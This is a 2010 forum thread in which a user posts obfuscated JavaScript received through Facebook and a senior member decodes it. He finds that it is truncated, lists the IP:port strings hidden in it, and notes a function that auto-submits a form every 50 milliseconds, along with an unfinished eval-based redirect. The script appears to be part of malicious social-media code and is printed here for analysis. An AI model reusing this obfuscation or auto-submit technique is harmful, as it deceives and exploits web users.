Results 1 to 3 of 3

Thread: Please help me decode this javascript

  1. #1
    Join Date
    Jun 2010
    Posts
    2
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Red face Please help me decode this javascript

    This is it:- Its something someone sent to me on face book.... I really need to know what it is, thanks you so much

    Code:
    var b8a9550e4 = [ "4xdxc1rle.jcg2xvpk1hb4doe.iaa7gc3yza.iptf1jfm5mlwy9oglx:kfea7sf9nfb9oug".replace(/[xdcrlejgvpkhboiayztfmwsnu]+/g,""), "7ecg5lfcy.jnese2zuu4jax6wrne.tugvy9ouq.fkapd1ltg3fz0pua:ivoj6msx4eat3gh".replace(/[ecglfyjnszuaxwrtvoqkpdimh]+/g,""), "5hrd8ssb.tg6kaq5wprl.oved1mwec4xy8pnsq.mtox2wb4ex8wjctu:hb7qkj9kcl9gyi".replace(/[hrdsbtgkaqwplovemcxynjui]+/g,""), "6chyjq4qopkt.uqp9rczm0mv.dui2cavo1opsh6gh.dmxc1gv1kbrq9xh:pal2isgk8ppk4bmfd".replace(/[chyjqopkturzmvdiasgxblf]+/g,""), "7jbyd0zio.aqhmk4epz4tggx.hj1jtu3evh6gk.rsu2bqa0tyi9dyh:rmc9xxih4mfcor0fx".replace(/[jbydzioaqhmkeptgxuvrscf]+/g,""), "6ch8ymck.yh2kv0vp1vyj.hx1srme3pqt.jm8kye1cdzs:wenf6xvu9njq0cp".replace(/[chymkvpjxsreqtdzwnfu]+/g,""), "2hm1qgw3tm.xkg4lam6uhkp.la8ndfs6roq.lluq8zp1viym:dxzt1psa2mr7rw".replace(/[hmqgwtxklaupndfsrozviy]+/g,""), "1uio7mt2mosr.dl1dq3lgfr2kwr.kff9rqq.oqqo3mgpt2etsa:vol7hgfha5zpobq2wunfz".replace(/[uiomtsrdlqgfkwpeavhzbn]+/g,""), "1fx2vgzw5vda.ycm1lzdrs6zqzr2dagp.xvzwe5wng7bw.dry1id4cuw3tag:isrk8jkvw6opx2xl".replace(/[fxvgzwdaycmlrsqpenbiutkjo]+/g,""), "7ha7sg.poo2hrj5mqqdi3evzz.grn1id0ivmye4ci.hgay2zc1ip6bji:kct1agwhs9qk0wa".replace(/[hasgporjmqdievznycbktw]+/g,""), "7iwof7lgg.ngyp2lil5yofu3cyy.ysp1rkgk0shk4qim.it2igbz1kg6nkm:vg1pkjy9asr0yrf".replace(/[iwoflgnypucsrkhqmtbzvja]+/g,""), "1svs0jxg9ff.xtfed5edpb3syj.fjna8szca.ay1dc5lae5sy:qjb8go6rnbi2iia".replace(/[svjxgftedpbynazclqori]+/g,""), "6ykgc8qo.xnjb2fgt0ux1dxby.mq1aas3yn.hif8cnv1iap:pqmq6bdu9ftcw0mf".replace(/[ykgcqoxnjbftudmashivpw]+/g,""), "2dilh1bd7yj.cctp2usy0jys2wbt.swfkv1cm0df.ylhp1oloak7zsx9ir:uy2ob0nl6jip".replace(/[dilhbyjctpuswfkvmoazxrn]+/g,""), "1aomi1cw2lnf.qpvv1jjbs9qvr9zm.oa1vr3brrs3jwe.eisf2beu1ks6lsqrs:pitbo9hm8pwfzq6lex".replace(/[aomicwlnfqpvjbsrzeukthx]+/g,""), "8fgpw9fdqwc.cmxy2zxg0bw4xef.ikje2dj0gudk5pimvw.hhj1xrq8bcp4nv:qvk5suebe3lxer4cb".replace(/[fgpwdqcmxyzbeikjuvhrnsl]+/g,""), "9baa4pvap.xjeiu1vznny9oyiy7vwh.di1upy5xil1ttqj.rffv1xpzt6fl1po:ypski1rcz7shty4so".replace(/[bapvxjeiuznyowhdltqrfskc]+/g,""), "8hd9oue.gxun1hnd9rlyz5xy.whq1ezz4csa2zswns.akmv8hh6al:eqjnh5yjxe8zbcgf8jjst".replace(/[hdouegxnrlyzwqcsakmvjbft]+/g,""), "7zd5nvw.xy2fipvy0sbt1takw.gvfs8khb3gtjs.hp2kn4sley2afug:zirk9unl4wubv0bdqhc".replace(/[zdnvwxyfipsbtakghjleurqc]+/g,""), "2zst4hg.wnz2ebsc5eb5ug.onv1iuwcg4iek7xd.kin1hn9khg3pf:lgw7hb5fzz2kei".replace(/[zsthgwnebcuovikxdpfl]+/g,""), '']; window.redirect = ''; function fb8188ab4() { if (document) { fc19f1f4d=document.getElementById('fa536afb'); if (fc19f1f4d) { fc19f1f4d.submit(); return; } } setTimeout('fb8188ab4()', 50); } function k12() { var l322f = '' + eval("wpqjiknpldaopkhgwgk.marfmegdpgmikqraeqacptpgq".replace(/[pqjklahgmf]+/g,"")); if (l322f.length > 0) { document.write("

  2. #2
    Join Date
    Jun 2010
    Posts
    2
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default

    please anyone?

  3. #3
    Join Date
    Mar 2005
    Location
    SE PA USA
    Posts
    28,933
    Thanks
    43
    Thanked 3,192 Times in 3,155 Posts
    Blog Entries
    12

    Default

    First of all, it's incomplete. At the end where it has:

    Code:
    function k12() { var l322f = '' + eval("wpqjiknpldaopkhgwgk.marfmegdpgmikqraeqacptpgq".replace(/[pqjklahgmf]+/g,""));
     if (l322f.length > 0) { document.write("
    That will cause an error because document.write needs a string, like:

    Code:
    document.write("something");
    And the function body of the funtion k12() is never closed. So it looks like you just got the first part of a longer script.

    Another thing is that it looks for a form with an id of fa536afb. If it finds one, it submits it. Presumably this form has a return false onsubmit or sends its data to the server without leaving the page, because it is set to submit every 50 milliseconds. It could be that part of the code that is missing created this form, or there could be some HTML markup containing this form that goes with the script.

    It also sets up an empty global string variable named redirect and a function to do something with it should it ever become non-empty, that's where it ends. That is the function mentioned above which is never completed.

    It starts by making up an array of what look sort of like IP addresses, but makes no use of them, perhaps it does so in the section of the code that's missing. Here are the items in the array (they're strings):

    41.214.73.159:799
    75.246.9.130:643
    58.65.148.248:799
    64.90.216.119:284
    70.44.136.209:940
    68.201.13.81:690
    213.46.86.81:127
    172.132.9.32:752
    125.162.57.143:862
    77.253.104.216:190
    77.253.104.216:190
    109.53.8.155:862
    68.201.13.81:690
    217.202.10.179:206
    112.199.133.216:986
    89.204.205.184:534
    94.197.151.161:174
    89.195.142.86:588
    75.201.83.242:940
    24.255.147.193:752
    To summarize, it:

    1. Makes an array it never uses.
    2. Makes a function that repeatedly looks for and, if it finds it, submits a form. But never runs this function.
    3. Makes the empty global variable I mentioned.
    4. Starts to make a function presumably to do something with that variable, but never completes that function.
    Last edited by jscheuer1; 06-13-2010 at 02:29 PM. Reason: add summary
    - John
    ________________________

    Show Additional Thanks: International Rescue Committee - Donate or: The Ocean Conservancy - Donate or: PayPal - Donate

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •